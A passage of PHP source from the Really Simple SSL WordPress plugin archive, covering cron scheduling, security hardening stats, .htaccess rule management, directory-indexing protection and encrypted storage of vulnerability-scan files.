		if ( ! wp_next_scheduled( 'rsssl_every_month_hook' ) ) {
			wp_schedule_event( time(), 'rsssl_monthly', 'rsssl_every_month_hook' );
		}
	}
}
/**
 * Fire three hours cron hook
 * @return void
 */
function rsssl_three_hours_cron(){
	do_action('rsssl_three_hours_cron');
}
add_action( 'rsssl_every_three_hours_hook', 'rsssl_three_hours_cron' );

/**
 * Fire daily cron hook
 */
function rsssl_daily_cron(){
	do_action('rsssl_daily_cron');
}
add_action( 'rsssl_every_day_hook', 'rsssl_daily_cron' );
/**
 * Fire five minutes cron hook
 */
function rsssl_five_minutes_cron() {
	do_action( 'rsssl_five_minutes_cron' );
}
add_action( 'rsssl_every_five_minutes_hook', 'rsssl_five_minutes_cron' );
/**
 * Fire weekly cron hook
 */
function rsssl_weekly_cron() {
	do_action( 'rsssl_weekly_cron' );
}
add_action( 'rsssl_every_week_hook', 'rsssl_weekly_cron' );
/**
 * Fire montly cron hook
 */
function rsssl_monthly_cron() {
	do_action( 'rsssl_monthly_cron' );
}
add_action( 'rsssl_every_month_hook', 'rsssl_monthly_cron' );


/**
 * For testing without cron enabled. Not recommended for production
 */
if ( !RSSSL_USE_CRON ) {
	add_action( 'admin_init', 'rsssl_schedule_non_cron' );
	function rsssl_schedule_non_cron(){
		do_action( 'rsssl_daily_cron' );
		do_action( 'rsssl_five_minutes_cron' );
		do_action('rsssl_week_cron');
		do_action('rsssl_month_cron');
	}
}
/**
 * Add our schedules
 * @param array $schedules
 *
 * @return array
 */
function rsssl_filter_cron_schedules( $schedules ) {
	$schedules['rsssl_five_minutes'] = array(
		'interval' => 5 * MINUTE_IN_SECONDS, // seconds
		'display' => __('Once every 5 minutes')
	);
	$schedules['rsssl_daily']   = array(
		'interval' => DAY_IN_SECONDS,
		'display'  => __( 'Once every day' )
	);
	$schedules['rsssl_every_three_hours']   = array(
		'interval' => 3 * HOUR_IN_SECONDS,
		'display'  => __( 'Every three hours' )
	);
	$schedules['rsssl_weekly']   = array(
		'interval' => WEEK_IN_SECONDS,
		'display'  => __( 'Once every week' )
	);
	$schedules['rsssl_monthly']   = array(
		'interval' => MONTH_IN_SECONDS,
		'display'  => __( 'Once every month' )
	);
	return $schedules;
}
add_filter( 'cron_schedules', 'rsssl_filter_cron_schedules' );
/**
 * Clear on deactivation
 *
 * @return void
 */
function rsssl_clear_scheduled_hooks() {
	wp_clear_scheduled_hook( 'rsssl_every_day_hook' );
	wp_clear_scheduled_hook( 'rsssl_every_week_hook' );
	wp_clear_scheduled_hook( 'rsssl_every_month_hook' );
	wp_clear_scheduled_hook( 'rsssl_every_five_minutes_hook' );
	wp_clear_scheduled_hook( 'rsssl_every_three_hours_hook' );
	wp_clear_scheduled_hook( 'rsssl_ssl_process_hook' );
}
register_deactivation_hook( rsssl_file, 'rsssl_clear_scheduled_hooks' );

/**
 * Multisite cron
 */

add_action('plugins_loaded', 'rsssl_multisite_schedule_cron', 15);
function rsssl_multisite_schedule_cron()
{
	if ( get_site_option('rsssl_ssl_activation_active') ) {
		if ( !wp_next_scheduled('rsssl_ssl_process_hook') ) {
			wp_schedule_event(time(), 'rsssl_one_minute', 'rsssl_ssl_process_hook');
		}
	} else {
		wp_clear_scheduled_hook('rsssl_ssl_process_hook');
	}
	add_action( 'rsssl_ssl_process_hook', array( RSSSL()->multisite, 'run_ssl_process' ) );
}


really-simple-ssl/security/hardening.php000064400000004324147510273070014452 0ustar00<?php
defined('ABSPATH') or die();
class rsssl_hardening {
	private static $_this;
	public $risk_naming;
	function __construct()
	{
		if (isset(self::$_this))
			wp_die(sprintf(__('%s is a singleton class and you cannot create a second instance.', 'really-simple-ssl'), get_class($this)));
		add_filter( 'rsssl_do_action', array($this, 'hardening_data'), 10, 3 );

		add_action("admin_init", array($this, "load_translations"));
		self::$_this = $this;
	}

	public function load_translations(){
		$this->risk_naming = [
			'l' => __('low-risk', 'really-simple-ssl'),
			'm' => __('medium-risk', 'really-simple-ssl'),
			'h' => __('high-risk', 'really-simple-ssl'),
			'c' => __('critical', 'really-simple-ssl'),
		];
	}

	function hardening_data( array $response, string $action, $data ): array {
		if ( ! rsssl_user_can_manage() ) {
			return $response;
		}
		if ($action === 'hardening_data') {
			$response = $this->get_stats( $data );
		}

		return $response;
	}

	static function this()
	{
		return self::$_this;
	}

	/* Public Section 2: DataGathering */

	/**
	 * @param $data
	 *
	 * @return array
	 */
	public function get_stats($data): array
	{
		if ( ! rsssl_user_can_manage() ) {
			return [];
		}

		$vulEnabled = rsssl_get_option('enable_vulnerability_scanner');
		//now we fetch all plugins that have an update available.

		$stats = [
			'updates' => $this->getAllUpdatesCount(),
			'lastChecked' => time(),
			'riskNaming'   => $this->risk_naming,
			'vulEnabled' => $vulEnabled,
		];

		$repsonse = [
			"request_success" => true,
			'data' => apply_filters('rsssl_vulnerability_data', $stats),
		];
		return $repsonse;
	}

	/**
	 * Gets the count of all available updates for core, plugins, and themes.
	 *
	 * @return int The count of all available updates.
	 */
	public function getAllUpdatesCount(): int
	{
		$updatesData = wp_get_update_data();
		// Checks if the 'counts' key exists in the array and it's an array itself.
		if (isset($updatesData['counts']) && is_array($updatesData['counts'])) {
			//we only want core, plugins and themes.
			$updatesCounts = array_slice($updatesData['counts'], 0, 3);
			return array_sum($updatesCounts);
		}
		// Fallback return in case there's no 'counts' key or it's not an array.
		return 0;
	}
}
really-simple-ssl/security/functions.php000064400000043140147510273070014522 0ustar00<?php
defined( 'ABSPATH' ) or die( );
/**
 * Back-end available only
 */
if ( !function_exists('rsssl_do_fix')) {
	/**
	 * Complete a fix for an issue, either user triggered, or automatic
	 *
	 * @param $fix
	 *
	 * @return void
	 */
	function rsssl_do_fix( $fix ) {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		if ( ! rsssl_has_fix( $fix ) && function_exists( $fix ) ) {
			$completed[] = $fix;
			$fix();
			$completed   = get_option( 'rsssl_completed_fixes', [] );
			$completed[] = $fix;
			update_option( 'rsssl_completed_fixes', $completed );
		} else if ( $fix && ! function_exists( $fix ) ) {
		}

	}
}
if ( !function_exists('rsssl_has_fix')) {

	/**
	 * Check if this has been fixed already
	 *
	 * @param $fix
	 *
	 * @return bool
	 */
	function rsssl_has_fix( $fix ) {
		$completed = get_option( 'rsssl_completed_fixes', [] );
		if ( ! in_array( $fix, $completed ) ) {
			return false;
		}

		return true;
	}
}

if ( !function_exists('rsssl_admin_url')) {
	/**
	 * Get admin url, adjusted for multisite
	 * @param array $args //query args
	 * @param string $path //hash slug for the settings pages (e.g. #dashboard)
	 * @return string
	 */
	function rsssl_admin_url(array $args = [], string $path = ''): string {
		$url = is_multisite() ? network_admin_url('admin.php') : admin_url('admin.php');
		$args = wp_parse_args($args, ['page' => 'really-simple-security']);
		return add_query_arg($args, $url) . $path;
	}
}

if ( !function_exists('rsssl_maybe_clear_transients')) {
	/**
	 * If the corresponding setting has been changed, clear the test cache and re-run it.
	 *
	 * @return void
	 */
	function rsssl_maybe_clear_transients( $field_id, $field_value, $prev_value, $field_type ) {
		if ( $field_id === 'mixed_content_fixer' && $field_value ) {
			delete_transient( 'rsssl_mixed_content_fixer_detected' );
			RSSSL()->admin->mixed_content_fixer_detected();
		}

		//expire in five minutes
		$headers = get_transient('rsssl_can_use_curl_headers_check');
		set_transient('rsssl_can_use_curl_headers_check', $headers, 5 * MINUTE_IN_SECONDS);

		//no change
		if ( $field_value === $prev_value ) {
			return;
		}

		if ( $field_id === 'disable_http_methods' ) {
			delete_option( 'rsssl_http_methods_allowed' );
			rsssl_http_methods_allowed();
		}
		if ( $field_id === 'xmlrpc' ) {
			delete_transient( 'rsssl_xmlrpc_allowed' );
			rsssl_xmlrpc_allowed();
		}
		if ( $field_id === 'disable_indexing' ) {
			delete_transient( 'rsssl_directory_indexing_status' );
			rsssl_directory_indexing_allowed();
		}
		if ( $field_id === 'block_code_execution_uploads' ) {
			delete_transient( 'rsssl_code_execution_allowed_status' );
			rsssl_code_execution_allowed();
		}
		if ( $field_id === 'hide_wordpress_version' ) {
			delete_option( 'rsssl_wp_version_detected' );
			rsssl_src_contains_wp_version();
		}
		if ( $field_id === 'rename_admin_user' ) {
			delete_transient('rsssl_admin_user_count');
			rsssl_has_admin_user();
		}

	}

	add_action( "rsssl_after_save_field", 'rsssl_maybe_clear_transients', 100, 4 );
}

if ( !function_exists('rsssl_remove_htaccess_security_edits') ) {
	/**
	 * Clean up on deactivation
	 *
	 * @return void
	 */
	function rsssl_remove_htaccess_security_edits() {

		if ( ! rsssl_user_can_manage()  ) {
			return;
		}

		if ( ! rsssl_uses_htaccess() ) {
			return;
		}

		$htaccess_file = RSSSL()->admin->htaccess_file();
		if ( ! file_exists( $htaccess_file ) ) {
			return;
		}

		$start = "\n" . '#Begin Really Simple Security';
		$end   =  '#End Really Simple Security' . "\n";
		$pattern = '/'.$start.'(.*?)'.$end.'/is';

		/**
		 * htaccess in uploads dir
		 */
		$upload_dir = wp_get_upload_dir();
		$htaccess_file_uploads = trailingslashit( $upload_dir['basedir']).'.htaccess';
		$content_htaccess_uploads = file_exists($htaccess_file_uploads ) ? file_get_contents($htaccess_file_uploads) : '';
		if (preg_match($pattern, $content_htaccess_uploads) && is_writable( $htaccess_file_uploads )) {
			$content_htaccess_uploads = preg_replace($pattern, "", $content_htaccess_uploads);
			file_put_contents( $htaccess_file_uploads, $content_htaccess_uploads );
		}

		/**
		 * htaccess in root dir
		 */

		$htaccess_file = RSSSL()->admin->htaccess_file();
		$content_htaccess = file_get_contents($htaccess_file);
		//remove old style rules
		$pattern_1 = "/#\s?BEGIN\s?rlrssslReallySimpleSSL.*?#\s?END\s?rlrssslReallySimpleSSL/s";
		$pattern_2 = "/#\s?BEGIN\s?Really Simple Security Redirect.*?#\s?END\s?Really Simple Security Redirect/s";
		$content_htaccess = preg_replace([$pattern_1, $pattern_2], "", $content_htaccess);
		if (preg_match($pattern, $content_htaccess) && is_writable( $htaccess_file ) ) {
			$content_htaccess = preg_replace($pattern, "", $content_htaccess);
			file_put_contents( $htaccess_file, $content_htaccess );
		}
	}
}


/**
 * Wrap the security headers
 */

if ( ! function_exists('rsssl_wrap_htaccess' ) ) {
	function rsssl_wrap_htaccess() {
		if ( !rsssl_user_can_manage() ) {
			return;
		}

		if ( ! rsssl_uses_htaccess() ) {
			return;
		}

		if ( rsssl_get_option('do_not_edit_htaccess') ) {
			if ( !empty( get_site_option('rsssl_htaccess_error') ) ) {
				delete_site_option( 'rsssl_htaccess_error' );
				delete_site_option( 'rsssl_htaccess_rules' );
			}
			return;
		}

		if (
			!rsssl_is_logged_in_rest() &&
			!RSSSL()->admin->is_settings_page() &&
		     current_filter() !== 'rocket_activation' &&
		     current_filter() !== 'rocket_deactivation'
		) {
			return;
		}

		if ( get_site_option('rsssl_htaccess_error') ) {
			delete_site_option( 'rsssl_htaccess_error' );
			delete_site_option( 'rsssl_htaccess_rules' );
		}

		if ( get_site_option('rsssl_uploads_htaccess_error') ) {
			delete_site_option( 'rsssl_uploads_htaccess_error' );
			delete_site_option( 'rsssl_uploads_htaccess_rules' );
		}

		if ( get_option('rsssl_updating_htaccess') ) {
			return;
		}

		update_option('rsssl_updating_htaccess', true, false );

		$start = '#Begin Really Simple Security';
		$end   = "\n" . '#End Really Simple Security' . "\n";
		$pattern_content = '/'.$start.'(.*?)'.$end.'/is';

		$pattern = '/'.$start.'.*?'.$end.'/is';
		/**
		 * htaccess in uploads dir
		 */
		$rules_uploads = apply_filters( 'rsssl_htaccess_security_rules_uploads', []);
		$upload_dir = wp_get_upload_dir();
		$htaccess_file_uploads = trailingslashit( $upload_dir['basedir']).'.htaccess';

		if ( ! file_exists( $htaccess_file_uploads ) && count($rules_uploads)>0 ) {
			if ( is_writable(trailingslashit( $upload_dir['basedir'])) ) {
				file_put_contents($htaccess_file_uploads, '');
			} else {
				update_site_option( 'rsssl_uploads_htaccess_error', 'not-writable' );
				$rules_uploads_result = implode( '', array_column( $rules_uploads, 'rules' ) );
				update_site_option( 'rsssl_uploads_htaccess_rules', $rules_uploads_result );
			}
		}

		if ( file_exists( $htaccess_file_uploads ) ) {
			$content_htaccess_uploads = file_exists( $htaccess_file_uploads ) ? file_get_contents( $htaccess_file_uploads ) : '';
			preg_match( $pattern_content, $content_htaccess_uploads, $matches );
			if ( ( ! empty( $matches[1] ) && empty( $rules_uploads ) ) || ! empty( $rules_uploads ) ) {
				$rules_uploads_result = '';
				foreach ( $rules_uploads as $rule_uploads ) {
					//check if the rule exists outside RSSSL, but not within
					if ( strpos($content_htaccess_uploads, $rule_uploads['identifier'])!==false && !preg_match('/#Begin Really Simple Security.*?('.preg_quote($rule_uploads['identifier'],'/').').*?#End Really Simple Security/is', $content_htaccess_uploads, $matches) ) {
						continue;
					}
					$rules_uploads_result .= $rule_uploads['rules'];
				}
				//We differ between missing rules, and a complete set. As we don't want the replace all rules with just the missing set.

				//should replace if rules is not empty, OR if rules is empty and htaccess is not.
				$htaccess_has_rsssl_rules = preg_match( '/#Begin Really Simple Security(.*?)#End Really Simple Security/is', $content_htaccess_uploads, $matches);
				if ( ! empty( $rules_uploads_result ) || $htaccess_has_rsssl_rules ) {
					if ( ! file_exists( $htaccess_file_uploads ) ) {
						file_put_contents( $htaccess_file_uploads, '' );
					}

					$new_rules = empty($rules_uploads_result) ? '' : $start . $rules_uploads_result . $end;
					if ( ! is_writable( $htaccess_file_uploads ) ) {
						update_site_option( 'rsssl_uploads_htaccess_error', 'not-writable' );
						update_site_option( 'rsssl_uploads_htaccess_rules', $rules_uploads_result );
					} else {
						delete_site_option( 'rsssl_uploads_htaccess_error' );
						delete_site_option( 'rsssl_uploads_htaccess_rules' );
						//remove current rules
						$content_htaccess_uploads = preg_replace( $pattern, '', $content_htaccess_uploads );
						//add rules as new block
						$new_htaccess = $content_htaccess_uploads . "\n" . $new_rules;
						#clean up
						if (strpos($new_htaccess, "\n" ."\n" . "\n" )!==false) {
							$new_htaccess = str_replace("\n" . "\n" . "\n", "\n" ."\n", $new_htaccess);
						}
						file_put_contents( $htaccess_file_uploads, $new_htaccess );
					}
				}
			}
		}

		/**
		 * htaccess in root dir
		 */
		$rules = apply_filters( 'rsssl_htaccess_security_rules', [] );
		$htaccess_file = RSSSL()->admin->htaccess_file();

		if ( !file_exists( $htaccess_file ) && count($rules)>0 ) {
			update_site_option('rsssl_htaccess_error', 'not-exists');
			$rules_result = implode('',array_column($rules, 'rules'));
			update_site_option('rsssl_htaccess_rules', $rules_result);
		}

		if ( file_exists( $htaccess_file ) ) {
			$content_htaccess = file_get_contents( $htaccess_file );

			//remove old style rules
			//we do this beforehand, so we don't accidentally assume redirects are already in place
			$content_htaccess = preg_replace(
				[
					"/#\s?BEGIN\s?rlrssslReallySimpleSSL.*?#\s?END\s?rlrssslReallySimpleSSL/s",
					"/#\s?BEGIN\s?Really Simple Security Redirect.*?#\s?END\s?Really Simple Security Redirect/s"
				], "", $content_htaccess);
			preg_match( $pattern_content, $content_htaccess, $matches );

			if ( ( ! empty( $matches[1] ) && empty( $rules ) ) || ! empty( $rules ) ) {
				$rules_result = '';
				foreach ( $rules as $rule ) {
					//check if the rule exists outside RSSSL, but not within
					if ( strpos($content_htaccess, $rule['identifier'])!==false && !preg_match('/#Begin Really Simple Security.*?('.preg_quote($rule['identifier'],'/').').*?#End Really Simple Security/is', $content_htaccess, $matches) ) {
						continue;
					}
					$rules_result .= $rule['rules'];
				}
				//should replace if rules is not empty, OR if rules is empty and htaccess is not.
				$htaccess_has_rsssl_rules = preg_match( '/#Begin Really Simple Security(.*?)#End Really Simple Security/is', $content_htaccess, $matches );
				if ( ! empty( $rules_result ) || $htaccess_has_rsssl_rules ) {
					if ( ! is_writable( $htaccess_file ) ) {
						update_site_option( 'rsssl_htaccess_error', 'not-writable' );
						update_site_option( 'rsssl_htaccess_rules', get_site_option( 'rsssl_htaccess_rules' ) . $rules_result );
					} else {
						delete_site_option( 'rsssl_htaccess_error' );
						delete_site_option( 'rsssl_htaccess_rules' );
						$new_rules = empty($rules_result) ? '' : $start . $rules_result . $end;

						//remove current rules
						$content_htaccess = preg_replace( $pattern, '', $content_htaccess );

						//add rules as new block
						if ( strpos($content_htaccess, '# BEGIN WordPress')!==false ) {
							$new_htaccess = str_replace('# BEGIN WordPress', "\n" . $new_rules.'# BEGIN WordPress', $content_htaccess);
						} else {
							$new_htaccess = "\n" . $new_rules . $content_htaccess;
						}

						#clean up
						if (strpos($new_htaccess, "\n" ."\n" . "\n" )!==false) {
							$new_htaccess = str_replace("\n" . "\n" . "\n", "\n" ."\n", $new_htaccess);
						}

						file_put_contents( $htaccess_file, $new_htaccess );
					}
				}
			}
		}
		delete_option('rsssl_updating_htaccess');
	}
	add_action('admin_init', 'rsssl_wrap_htaccess' );
	add_action('rsssl_after_saved_fields', 'rsssl_wrap_htaccess', 30);
}

/**
 * Store warning blocks for later use in the mailer
 *
 * @param array $changed_fields
 *
 * @return void
 */
function rsssl_gather_warning_blocks_for_mail( array $changed_fields ){
	if (!rsssl_user_can_manage() ) {
		return;
	}

	if ( !rsssl_get_option('send_notifications_email') ) {
		return;
	}

    $fields = array_filter($changed_fields, static function($field) {
        // Check if email_condition exists and call the function, else assume true
	    if ( !isset($field['email']['condition']) ) {
			$email_condition_result = true;
	    } else if (is_array($field['email']['condition'])) {
			//rsssl option check
		    $fieldname = array_key_first($field['email']['condition']);
			$value = $field['email']['condition'][$fieldname];
			$email_condition_result = rsssl_get_option($fieldname) === $value;
	    } else {
			//function check
		    $function  = $field['email']['condition'];
		    $email_condition_result = function_exists($function) && $function();
	    }
        return isset($field['email']['message']) && $field['value'] && $email_condition_result;
    });

	if ( count($fields)===0 ) {
		return;
	}
	$current_fields = get_option('rsssl_email_warning_fields', []);
	//if it's empty, we start counting time. 30 mins later we send a mail.
	update_option('rsssl_email_warning_fields_saved', time(), false );

	$current_ids = array_column($current_fields, 'id');
	foreach ($fields as $field){
		if ( !in_array( $field['id'], $current_ids, true ) ) {
			$current_fields[] = $field;
		}
	}
	update_option('rsssl_email_warning_fields', $current_fields, false);
}
add_action('rsssl_after_saved_fields', 'rsssl_gather_warning_blocks_for_mail', 40);

/**
 * Check if server uses .htaccess
 * @return bool
 */
function rsssl_uses_htaccess() {
	//when using WP CLI, the get_server check does not work, so we assume .htaccess is being used
	//and rely on the file exists check to catch if not.
	if ( defined( 'WP_CLI' ) && WP_CLI ) {
		return true;
	}
	return rsssl_get_server() === 'apache' || rsssl_get_server() === 'litespeed';
}

/**
 * Get htaccess status
 * @return string | bool
 */
function rsssl_htaccess_status(){
	if ( empty(get_site_option('rsssl_htaccess_rules','')) ) {
		return false;
	}
	return get_site_option('rsssl_htaccess_error');
}

/**
 * Get htaccess status
 * @return string | bool
 */

function rsssl_uploads_htaccess_status(){
	if ( empty(get_site_option('rsssl_uploads_htaccess_rules','')) ) {
		return false;
	}
	return get_site_option('rsssl_uploads_htaccess_error');
}

/**
 * @return string|null
 * Get the wp-config.php path
 */
function rsssl_find_wp_config_path() {
	if ( ! rsssl_user_can_manage() ) {
		return null;
	}

	// Allow the wp-config.php path to be overridden via a filter.
	$filtered_path = apply_filters( 'rsssl_wpconfig_path', '' );

	// If a filtered path is provided, validate it.
	if ( ! empty( $filtered_path ) ) {
		$directory = dirname( $filtered_path );

		// Ensure the directory exists before checking for the file.
		if ( is_dir( $directory ) && file_exists( $filtered_path ) ) {
			return $filtered_path;
		}
	}

	// Limit number of iterations to 10
	$i   = 0;
	$dir = __DIR__;
	do {
		$i ++;
		if ( file_exists( $dir . "/wp-config.php" ) ) {
			return $dir . "/wp-config.php";
		}
	} while ( ( $dir = realpath( "$dir/.." ) ) && ( $i < 10 ) );

	return null;
}

/**
 * Returns the server type of the plugin user.
 *
 * @return string|bool server type the user is using of false if undetectable.
 */

function rsssl_get_server() {
	//Allows to override server authentication for testing or other reasons.
	if ( defined( 'RSSSL_SERVER_OVERRIDE' ) ) {
		return RSSSL_SERVER_OVERRIDE;
	}

	$server_raw = strtolower( htmlspecialchars( $_SERVER['SERVER_SOFTWARE'] ) );

	//figure out what server they're using
	if ( strpos( $server_raw, 'apache' ) !== false ) {
		return 'apache';
	} elseif ( strpos( $server_raw, 'nginx' ) !== false ) {
		return 'nginx';
	} elseif ( strpos( $server_raw, 'litespeed' ) !== false ) {
		return 'litespeed';
	} else { //unsupported server
		return false;
	}
}

/**
 * @return string
 * Generate a random prefix
 */

function rsssl_generate_random_string($length) {
	$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
	$randomString = '';

	for ( $i = 0; $i < $length; $i++ ) {
		$index = rand(0, strlen($characters) - 1);
		$randomString .= $characters[$index];
	}

	return $randomString;
}

/**
 * @return string
 *
 * Get users as string to display
 */
function rsssl_list_users_where_display_name_is_login_name() {

	if ( !rsssl_user_can_manage() ) {
		return '';
	}
	$users = rsssl_get_users_where_display_name_is_login( true );
	if ( is_array( $users ) ) {
		$ext  = count($users)>=10 ? '...' : '';
		$users = array_slice($users, 0, 10);
		return implode( ', ', $users ).$ext;
	}

	return '';
}

/**
 * @return bool|void
 *
 * Check if user e-mail is verified
 */
function rsssl_is_email_verified() {

    if ( ! rsssl_user_can_manage() ) {
        return false;
    }

    if ( get_option('rsssl_email_verification_status') == 'completed' ) {
        // completed
        return true;
    }

    if ( get_option('rsssl_email_verification_status') == 'started' ) {
	    // started
        return false;
    }

	if ( get_option('rsssl_email_verification_status') == 'email_changed' ) {
	    // e-mail changed, has to re-verify
        return false;
    }

    return false;
}

function rsssl_remove_prefix_from_version($version) {
	return preg_replace('/^[^\d]*(?=\d)/', '', $version);
}
function rsssl_version_compare($version, $compare_to, $operator = null) {
	$version = rsssl_remove_prefix_from_version($version);
	$compare_to = rsssl_remove_prefix_from_version($compare_to);
	return version_compare($version, $compare_to, $operator);
}

function rsssl_lock_file_exists() {
	if ( file_exists( trailingslashit( WP_CONTENT_DIR ) . 'rsssl-safe-mode.lock' ) ) {
		return true;
	}

	return false;
}really-simple-ssl/security/server/index.php000064400000000040147510273070015117 0ustar00<?php // You don't belong here.
really-simple-ssl/security/server/disable-indexing.php000064400000001052147510273070017222 0ustar00<?php
defined( 'ABSPATH' ) or die();
if ( rsssl_is_in_deactivation_list('disable-indexing') ){
	rsssl_remove_from_deactivation_list('disable-indexing');
}

/**
 * Disable indexing
 * @param array $rules
 * @return []
 */

function rsssl_disable_indexing_rules( $rules ) {
	$rules[] = ['rules' => "\n" . 'Options -Indexes', 'identifier' => 'Options -Indexes'];
	return $rules;
}
add_filter('rsssl_htaccess_security_rules', 'rsssl_disable_indexing_rules');

/**
 * Dropped suggestions for indexing in NGINX as indexing in NGINX is by default disabled.
 */
really-simple-ssl/security/wordpress/vulnerabilities/FileStorage.php000064400000005704147510273070022153 0ustar00<?php

namespace security\wordpress\vulnerabilities;
defined('ABSPATH') or die();
class FileStorage
{
    private $hash;

    /**
     * FileStorage constructor.
     */
    public function __construct()
    {
        //Fetching the key from the database
        $this->generateHashKey();
    }

    public Static function StoreFile($file, $data)
    {
        $storage = new FileStorage();
        $storage->set($data, $file);
    }

    public Static function GetFile($file)
    {
        $storage = new FileStorage();
        return $storage->get($file);
    }

    /** Get the data from the file
     * @param $file
     * @return bool|mixed
     */
    public function get($file)
    {
        if (file_exists($file)) {
            $data = file_get_contents($file);
            $data = $this->Decode64WithHash($data);
            return json_decode($data);
        }
        return false;
    }

    /** Save the data to the file
     * @param $data
     * @param $file
     */
    public function set($data, $file)
    {
        $data = $this->Encode64WithHash(json_encode($data));
        file_put_contents($file, $data);
    }

    /** encode the data with a hash
     * @param $data
     * @return string
     */
    private function Encode64WithHash($data): string
    {
        //we create a simple encoding, using the hashkey as a salt
        $data = base64_encode($data);
        return base64_encode($data . $this->hash);
    }

    /** decode the data with a hash
     * @param $data
     * @return string
     */
    private function Decode64WithHash($data): string
    {
        //we create a simple decoding, using the hashkey as a salt
        $data = base64_decode($data);
        $data = substr($data, 0, -strlen($this->hash));
        return base64_decode($data);
    }

    /** Generate a hashkey and store it in the database
     * @return void
     */
    private function generateHashKey(): void
    {
        if (get_option('rsssl_hashkey') && get_option('rsssl_hashkey') !== "") {
            $this->hash = get_option('rsssl_hashkey');
        } else {
            $this->hash = md5(uniqid(rand(), true));
            update_option('rsssl_hashkey', $this->hash, false);
        }
    }

    public static function GetDate(string $file)
    {
        if (file_exists($file)) {
            return filemtime($file);
        }
        return false;
    }

    public static function DeleteAll()
    {
        //we get the upload folder
        $upload_dir = wp_upload_dir();

        //we get the really-simple-ssl folder
        $rsssl_dir = $upload_dir['basedir'] . '/really-simple-ssl';

        //then we delete the following files from that folder: manifest.json, components.json and core.json
        $files = array('manifest.json', 'components.json', 'core.json');
        foreach ($files as $file) {
            //we delete the file
            $file = $rsssl_dir . '/' . $file;
            if (file_exists($file)) {
                unlink($file);
            }
        }
    }
}really-simple-ssl/security/wordpress/vulnerabilities/class-rsssl-file-storage.php000064400000010614147510273070024573 0ustar00<?php

namespace security\wordpress\vulnerabilities;

defined( 'ABSPATH' ) or die();
require_once rsssl_path . 'lib/admin/class-encryption.php';
require_once 'class-rsssl-folder-name.php';

use RSSSL\lib\admin\Encryption;

class Rsssl_File_Storage {
	use Encryption;
	public $folder; //for the folder name

	/**
	 * Rsssl_File_Storage constructor.
	 */
	public function __construct() {
		//Fetching the key from the database
		$upload_dir   = wp_upload_dir();
		$this->folder = $upload_dir['basedir'] . '/' . Rsssl_Folder_Name::getFolderName();
	}

	public static function StoreFile( $file, $data ): void {
		$storage = new Rsssl_File_Storage();
		//first we check if the storage folder is already in the $file string
		if ( strpos( $file, $storage->folder ) !== false ) {
			$file = str_replace( $storage->folder . '/', '', $file );
		}
		$storage->set( $data, $storage->folder . '/' . $file );
	}

	public static function GetFile( $file ) {
		$storage = new Rsssl_File_Storage();

		//first we check if the storage folder is already in the $file string
		if ( strpos( $file, $storage->folder ) !== false ) {
			$file = str_replace( $storage->folder . '/', '', $file );
		}

		return $storage->get( $storage->folder . '/' . $file );
	}

	/** Get the data from the file
	 *
	 * @param $file
	 *
	 * @return bool|mixed
	 */
	public function get( $file ) {
		if ( file_exists( $file ) ) {
			$data = file_get_contents( $file );
			$data = $this->decrypt( $data );
			return json_decode( $data );
		}

		return false;
	}

	/** Save the data to the file
	 *
	 * @param $data
	 * @param $file
	 */
	public function set( $data, $file ) {
		if ( ! is_dir( $this->folder ) ) {
			return;
		}

		if ( ! is_writable( $this->folder ) ) {
			return;
		}

		$data = $this->encrypt( json_encode( $data ) );
		//first we check if the storage folder is already in the $file string
		if ( strpos( $file, $this->folder ) !== false ) {
			$file = str_replace( $this->folder . '/', '', $file );
		}

		file_put_contents( $this->folder . '/' . $file, $data );
	}

	public static function GetDate( string $file ) {
		if ( file_exists( $file ) ) {
			return filemtime( $file );
		}

		return false;
	}

	public static function get_upload_dir() {
		return ( new Rsssl_File_Storage() )->folder;
	}

	public static function validateFile( string $file ): bool {
		$storage = new Rsssl_File_Storage();
		$file    = $storage->folder . '/' . $file;
		if ( file_exists( $file ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Delete all files in the storage folder
	 *
	 * @return void
	 */
	public static function DeleteAll(): void {
		$storage = new Rsssl_File_Storage();
		//we get the really-simple-ssl folder
		$rsssl_dir = $storage->folder;
		//then we delete the following files from that folder: manifest.json, components.json and core.json
		$files = array( 'manifest.json', 'components.json', 'core.json' );
		foreach ( $files as $file ) {
			//we delete the file
			$file = $rsssl_dir . '/' . $file;
			if ( file_exists( $file ) ) {
				unlink( $file );
			}
		}
		//we delete the folder
		if ( file_exists( $rsssl_dir ) ) {
			self::DeleteFolder($rsssl_dir);
			//we delete the option
			delete_option( 'rsssl_folder_name' );
		}
	}

	/**
	 * Recursively delete a folder and its contents.
	 *
	 * @param  string  $dir  The path to the folder to be deleted.
	 *
	 * @return bool Returns true if the folder was successfully deleted, false otherwise.
	 */
	public static function DeleteFolder($dir): bool {
		if (substr($dir, strlen($dir) - 1, 1) != '/')
			$dir .= '/';

		if ($handle = opendir($dir)) {
			while ($obj = readdir($handle)) {
				if ($obj != '.' && $obj != '..') {
					if (is_dir($dir.$obj)) {
						if (!self::DeleteFolder($dir.$obj))
							return false;
					}
					elseif (is_file($dir.$obj)) {
						if (!unlink($dir.$obj))
							return false;
					}
				}
			}

			closedir($handle);

			if (!rmdir($dir))
				return false;
			return true;
		}
		return false;
	}

	/**
	 * Delete all files in the storage folder
	 *
	 * @return void
	 */
	public static function DeleteOldFiles(): void {
		$rsssl_dir = wp_upload_dir()['basedir'] . '/really-simple-ssl';
		//then we delete the following files from that folder: manifest.json, components.json and core.json
		$files = array( 'manifest.json', 'components.json', 'core.json' );
		foreach ( $files as $file ) {
			//we delete the file
			$file = $rsssl_dir . '/' . $file;
			if ( file_exists( $file ) ) {
				unlink( $file );
			}
		}
	}
}really-simple-ssl/security/wordpress/vulnerabilities/class-rsssl-folder-name.php000064400000003206147510273070024402 0ustar00<?php

namespace security\wordpress\vulnerabilities;
require_once rsssl_path . '/lib/admin/class-helper.php';
use RSSSL\lib\admin\Helper;
class Rsssl_Folder_Name {
	use Helper;
	public $folderName;

	private function __construct() {
		$this->initializeFolderName();
		$this->verifyAndCreateFolder();
	}

	private function initializeFolderName(): void {
		$rsssl_folder = get_option( 'rsssl_folder_name' );

		if ( $rsssl_folder ) {
			$this->folderName = $this->folderName( $rsssl_folder );
		} else {
			$newFolderName    = 'really-simple-ssl/' . md5( uniqid( mt_rand(), true ) );
			$this->folderName = $this->folderName( $newFolderName );

			require_once 'class-rsssl-file-storage.php';
			Rsssl_File_Storage::DeleteOldFiles();
			update_option( 'rsssl_folder_name', $this->folderName );
		}
	}

	private function folderName( $name ): string {
